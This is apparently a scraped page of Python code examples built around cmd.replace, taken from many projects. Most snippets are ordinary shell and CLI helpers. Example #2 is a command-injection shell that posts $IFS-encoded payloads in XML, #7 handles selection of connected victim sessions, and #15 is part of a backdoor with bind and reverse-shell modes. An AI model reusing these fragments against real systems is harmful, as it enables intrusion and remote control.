示例#1
0
文件: shell.py 项目: Jabows/aursh
 def replace_alias(self, cmd):
     """check if alias exists and if so, replace command"""
     for alias in self.conf.alias:
         if cmd.startswith(alias) and \
                 (len(cmd) == len(alias) or cmd[len(alias)] == " "):
             cmd = cmd.replace(alias, self.conf.alias[alias], 1)
     return cmd
示例#2
0
 def do_cmd(self, cmd):
     req = requests.post(self.url,
                         data=self.xml.replace('CMD',
                                               cmd.replace(' ', '$IFS')))
     print(
         base64.b64decode(
             re.findall(r'OUT([a-zA-Z0-9].+?)OUT',
                        str(req.content))[0]).decode('utf-8'))
示例#3
0
def login():
    usrname = user.get()
    passwd = password.get()
    print("Attempting connection...")
    root.quit()
    root.destroy()
    client.connect(host, port=22, username=usrname, password=passwd)
    connected = True
    print("Sign in success, use 'exit' to close connection...")
    while connected:
        cmd = input("command> ")
        if cmd == "exit":
            client.close()
        cmd.replace(r"'", r"'\''")
        stdin, stdout, stderr = client.exec_command(cmd)
        stdin.close()
        for line in stdout.read().splitlines():
            print(line)
    else:
        client.close()
示例#4
0
文件: jsh.py 项目: raveneus/jsh
def handle_cmd(cmd, var):
    cmd = sub(cmd, var)
    to_eval = [""]
    evaled = [""]
    for j in range(10):
        to_eval.append("")
        evaled.append("")
    i = 0
    while cmd.find("(") != -1:
        to_eval[i] = cmd[cmd.find("("):cmd.find(")") + 1]
        cmd = cmd.replace(to_eval[i], "/h")
        i += 1
    to_eval = filter(None, to_eval)
    i = 0
    for to in to_eval:
        evaled[i]  = evaluate(to, var)
    cmd = cmd.replace(" ", "\x90")
    i = 0
    while cmd.find("/h") != -1:
        cmd = cmd.replace(cmd[cmd.find("/h"):cmd.find("/h") + 2], evaled[i])
    cmd_list = getTokenList(cmd, "\x90")
    cmd_list = filter(None, cmd_list)
    return cmd_list
示例#5
0
文件: amqp.py 项目: zzzap/celery
    def get_amqp_api_command(self, cmd, arglist):
        """With a command name and a list of arguments, convert the arguments
        to Python values and find the corresponding method on the AMQP channel
        object.

        :returns: tuple of `(method, processed_args)`.

        """
        spec = self.amqp[cmd]
        args = spec.str_args_to_python(arglist)
        attr_name = cmd.replace('.', '_')
        if self.needs_reconnect:
            self._reconnect()
        return getattr(self.chan, attr_name), args, spec.format_response
示例#6
0
 def precmd(self, line):
     """handles alias commands for line (which can be a string or list of args)"""
     if isinstance(line, basestring):
         parts = line.split(' ')
     else:
         parts = list(line)
         line = ' '.join(line)
     cmd = parts[0]
     if cmd in self.aliases:
         cmd = self.aliases[cmd]
         args = parts[1:]
         unused_args = [] # they go into $0 if it exists
         for index, arg in enumerate(args):
             param_placeholder = '$%d' % (index + 1)
             if param_placeholder in cmd:
                 cmd = cmd.replace(param_placeholder, arg)
             else:
                 unused_args.append(arg)
         if unused_args and '$0' in cmd:
             cmd = cmd.replace('$0', ' '.join(unused_args))
         return cmd
     else:
         return line
示例#7
0
def get_target(cmd):
    try:
        target = cmd.replace('select ', '')
        target = int(target) - 1
        conn = all_connections[target]
        conn.send(str.encode(' '))
        x = str.decode(conn.recv(4096))
        if str(all_names[target]) in x:
        	print 'You are now connected to: ' + str(all_names[target]) + '[' + str(all_addresses[target][0]) + ']'
        print x,
        return conn
    except:
        print 'Not a valid selection'
        return None
示例#8
0
    def do_help(self, arg):
        if arg:
            # XXX check arg syntax
            try:
                func = getattr(self, 'help_' + arg)
            except AttributeError:
                try:
                    doc=getattr(self, 'do_' + arg).__doc__
                    if doc:
                        self.stdout.write("%s\n"%str(doc))
                        return
                except AttributeError:
                    pass
                self.stdout.write("%s\n"%str(self.nohelp % (arg,)))
                return
            func()
        else:
            names = self.get_names()
            cmds_doc = []
            cmds_undoc = []
            help = {}
            for name in names:
                if name[:5] == 'help_':
                    help[name[5:]]=1
            names.sort()
            # There can be duplicates if routines overridden
            prevname = ''
            for name in names:
                if name[:3] == 'do_':
                    if name == prevname:
                        continue
                    prevname = name
                    cmd=name[3:]
                    cmd = cmd.replace("_", "-")
                    if cmd in help:
                        cmds_doc.append(cmd)
                        del help[cmd]
                    elif getattr(self, name).__doc__:
                        cmds_doc.append(cmd)
                    else:
                        cmds_undoc.append(cmd)
#            self.stdout.write("%s\n"%str(self.doc_leader))
#            self.print_topics(self.doc_header,   cmds_doc,   15,80)
#            self.print_topics(self.misc_header,  help.keys(),15,80)
#            self.print_topics(self.undoc_header, cmds_undoc, 15,80)
            self.print_topics("\nSkyEye command list", cmds_undoc, 15,80)
示例#9
0
def _parseFirstArg(cmd):
    cmd = cmd.strip()
    if cmd.startswith('"'):
        # The .replace() is to ensure it does not mistakenly find the
        # second '"' in, say (escaped quote):
        #           "C:\foo\"bar" arg1 arg2
        idx = cmd.replace('\\"', 'XX').find('"', 1)
        if idx == -1:
            raise WinIntegError("Malformed command: %r" % cmd)
        first, rest = cmd[1:idx], cmd[idx+1:]
        rest = rest.lstrip()
    else:
        if ' ' in cmd:
            first, rest = cmd.split(' ', 1)
        else:
            first, rest = cmd, ""
    return first
示例#10
0
def _parseFirstArg(cmd):
    cmd = cmd.strip()
    if cmd.startswith('"'):
        # The .replace() is to ensure it does not mistakenly find the
        # second '"' in, say (escaped quote):
        #           "C:\foo\"bar" arg1 arg2
        idx = cmd.replace('\\"', 'XX').find('"', 1)
        if idx == -1:
            raise WinIntegError("Malformed command: %r" % cmd)
        first, rest = cmd[1:idx], cmd[idx+1:]
        rest = rest.lstrip()
    else:
        if ' ' in cmd:
            first, rest = cmd.split(' ', 1)
        else:
            first, rest = cmd, ""
    return first
示例#11
0
def execFormatCmd(cmd):
    cmd = cmd.replace('\\', '/')
    cmd = re.sub('/+', '/', cmd)
    if platform.system() == 'Windows':
        st = subprocess.STARTUPINFO
        st.dwFlags = subprocess.STARTF_USESHOWWINDOW
        st.wShowWindow = subprocess.SW_HIDE
    else:
        cmd = cmd.encode('utf-8').decode('iso-8859-1')

    # findret = cmd.find('jarsigner')
    # if findret > -1:
    #     import shlex
    #     cmds = shlex.split(cmd)
    #     log_utils.getLogger().debug('the execformatCmd cmds:'+str(cmds))
    #     s = subprocess.Popen(cmds)
    # else:
    #     s = subprocess.Popen(cmd, shell=True)

    #===========================================================================
    # import shlex
    # cmds = shlex.split(cmd)
    # #log_utils.getLogger().debug("eeeeeeeeeeeeeeeeeee" + cmd)
    # s = subprocess.Popen(cmds, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    #===========================================================================

    import locale
    cmd = cmd.encode(locale.getdefaultlocale()[1])
    p = subprocess.Popen(cmd,
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE,
                         shell=True)

    ConfigParse.shareInstance().setCurrentSubProcess(p)

    while p.poll() == None:
        line = p.stdout.readline()
        if not line:
            break
        # print line
        log_utils.getLogger().info(line)
    p.wait()
    return p.returncode
示例#12
0
文件: camqadm.py 项目: 66laps/celery
    def get_amqp_api_command(self, cmd, arglist):
        """With a command name and a list of arguments, convert the arguments
        to Python values and find the corresponding method on the AMQP channel
        object.

        :returns: tuple of `(method, processed_args)`.

        Example:

            >>> get_amqp_api_command("queue.delete", ["pobox", "yes", "no"])
            (<bound method Channel.queue_delete of
             <amqplib.client_0_8.channel.Channel object at 0x...>>,
             ('testfoo', True, False))

        """
        spec = self.amqp[cmd]
        args = spec.str_args_to_python(arglist)
        attr_name = cmd.replace(".", "_")
        if self.needs_reconnect:
            self._reconnect()
        return getattr(self.chan, attr_name), args, spec.format_response
示例#13
0
    def get_amqp_api_command(self, cmd, arglist):
        """With a command name and a list of arguments, convert the arguments
        to Python values and find the corresponding method on the AMQP channel
        object.

        :returns: tuple of ``(method, processed_args)``.

        Example:

            >>> get_amqp_api_command("queue.delete", ["pobox", "yes", "no"])
            (<bound method Channel.queue_delete of
             <amqplib.client_0_8.channel.Channel object at 0x...>>,
             ('testfoo', True, False))

        """
        spec = self.amqp[cmd]
        args = spec.str_args_to_python(arglist)
        attr_name = cmd.replace(".", "_")
        if self.needs_reconnect:
            self._reconnect()
        return getattr(self.chan, attr_name), args, spec.format_response
示例#14
0
    def onecmd(self, line: str):
        cmd, arg, line = self.parseline(line)
        self.is_error = False

        if self._update_shell() == False:
            print("Error[#1121]: hakcermode shell stoped!")

        if not line.strip():
            if Config.get("settings", "LAST_COMMAND", default=False):
                return self.emptyline()
        if cmd is None:
            return self.default(line)
        self.lastcmd = line
        if cmd == '':
            return self.default(line)
        else:
            try:
                func = getattr(self, 'do_' + cmd.replace('-', '_'))
            except AttributeError:
                return self.default(line)
            return func(arg)
示例#15
0
                """exit session"""
                return False
        def do_help(self,args):
                """Out of Order"""
                return "use bd_help"
        def do_exec(self,args):
                return os.system(args)
        def default(self,args):
                return subprocess.Popen(args,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read().strip()
#END commands
 
#BEGIN genearte cmdlist
bdcmd.cmdlist=[]
for cmd in dir(bdcmd):
        if cmd.startswith("do_"):
                bdcmd.cmdlist.append(cmd.replace('do_',""))
#END generate cmdlist
 
#BEGIN main loop
while 1:
        if mode=="bind":
                sock,addr=bsock.accept()
        if mode=="reverse":
                connected=False
                while not connected:
                        try:
                                sock=socket.socket()
                                sock.connect((revtarget,port))
                                connected=True
                        except socket.error as e:
                                if "Connection refused" in e:
示例#16
0
    def install(self, config):

        if config['--dryrun']:
            print('cd /opt')
        else:
            os.chdir('/opt')

        if self.SOURCE:
            source = self.SOURCE
            if source.find('.git') >= 0:
                sources = source.split(' ')
                if len(sources) > 1:
                    source = sources[0]
                    srcDir = sources[1]
                else:
                    srcDir = source.split('/')
                    srcDir = srcDir[-1].replace('.git','')
            else:
                srcDir = source.split('/')[-1].rsplit('.')[1]
            srcDir = self.get_source(config, source, srcDir)
            if not config['--dryrun']:
                print("Starting installation of "+self.NAME+' in '+srcDir)

        self.RC = 0
        for cmd in self.COMMANDS:
            if cmd.startswith('cd '):
                if config['--dryrun']:
                    print(cmd)
                else:
                    self.RC = os.chdir(cmd.replace('cd ',''))
                    if self.RC:
                        print("FAIL: '"+cmd+"' returned RC="+self.RC)
                        break
            elif cmd.startswith('mkdir '):
                if config['--dryrun']:
                    print(cmd)
                else:
                    dirs = cmd.split(' ')
                    dirs.pop(0)
                    for nDir in dirs:
                        if os.path.isdir(nDir):
                            shutil.rmtree(nDir)
                        os.mkdir(nDir)
            elif cmd.startswith('export '):
                if config['--dryrun']:
                    print(cmd)
                else:
                    exports = cmd.split(' ')
                    exports.pop(0)
                    for export in exports:
                        key,val = export.split('=')
                        os.environ[key] = val
            elif cmd.startswith('install-'):
                cmd = os.getenv('MINING_ROOT','/opt/mining')+'/install/'+cmd
                if config['--dryrun']:
                    print(cmd)
                else:
                    os.system(cmd)
            elif cmd.startswith('ln '):
                if config['--dryrun']:
                    print(cmd)
                else:
                    parms = cmd.split(' ')
                    if os.path.lexists(parms[3]):
                        os.remove(parms[3])
                    os.symlink(parms[2], parms[3])
            else:
                if config['--dryrun']:
                    print(cmd)
                else:
                    self.RC = os.system(cmd)
                    if self.RC:
                        print("FAIL: '"+cmd+"' returned RC="+str(self.RC))
                        break
        #[ -n "$RUN_ALL_TESTS" ] && ./ccminer --algo=neoscrypt --benchmark
        if self.RC != 0:
            with open('/etc/profile.d/'+self.NAME+'.sh','a+') as fh:
                fh.write("export INSTALL_"+self.NAME.upper().replace('-','_')+"_DONE=`date --utc +%Y-%m-%dT%H-%M-%SZ`\n")
            if not config['--dryrun']:
                print("Finished installation of "+self.NAME)
            print("Exiting due to errors, RC="+str(self.RC))
            sys.exit(self.RC)

        return 0
	def do_send (self, cmd):
		cmd=cmd.replace('"','',1)
		cmd=cmd.replace("'",'',1)
		imp.SimpleCmd(cmd)
示例#18
0
    def do_for(self, s):
        '''
Creates for-loop style iteration over a set of commands.

Syntax  : for <var> in <list_expr>
Where   :     <var>      = variable name to be substituted in iteration
             <list_expr> = python expression that evaluates to a list, e.g. range(1,10,1) or [1,2,3]
             
The loop is closed with the \'end\' command. Nested loops are permitted provided variable
names are lexicographically unique. Substitution is performed within the block where the 
expression $<var> is found. Indentation of loops is optional.

Example:
    for i in range(0,10,1)
       echo $i
       for j in range(0,5,1)
          echo $i $j
       end
    end
        '''

        forParams = s.split()
        if len(forParams) < 3 or forParams[1] != 'in':
            print("***: invalid for syntax (for <var> in <list expression>)")
            return
        try:
            iterList = eval(' '.join(forParams[2:]))
        except:
            print("***: invalid for syntax (for <var> in <list expression>)")
            return

        if not isinstance(iterList, list):
            print("***: invalid for syntax (for <var> in <list expression>)")
            return

        iterVarSubsPat = '$' + forParams[0]

        inLoop = True
        cmdQueue = []
        while inLoop:

            if self.cmdqueue:
                line = self.cmdqueue.pop(0)
            else:
                if self.use_rawinput == 1:
                    loopPrefix = ('    ' * (self.loopRecurseDepth + 1)) + '+> '
                    line = input(loopPrefix)
                else:
                    line = self.stdin.readline()
                    line = line[:-1]  # chop \n

            line = line.strip()
            cmd = line.split()[0]

            if cmd == 'for':
                self.loopRecurseDepth += 1

            if cmd == 'end':
                if self.loopRecurseDepth > 0:
                    self.loopRecurseDepth -= 1
                else:
                    inLoop = False
            cmdQueue.append(line)

        for iterVarVal in iterList:
            subsQueue = [
                cmd.replace(iterVarSubsPat, str(iterVarVal))
                for cmd in cmdQueue
            ]
            subShell = FemShell(stdin=self.stdin, cmdqueue=subsQueue)
            subShell.cmdloop()
示例#19
0
 def do_send(self, cmd):
     cmd = cmd.replace('"', '', 1)
     cmd = cmd.replace("'", '', 1)
     imp.SimpleCmd(cmd)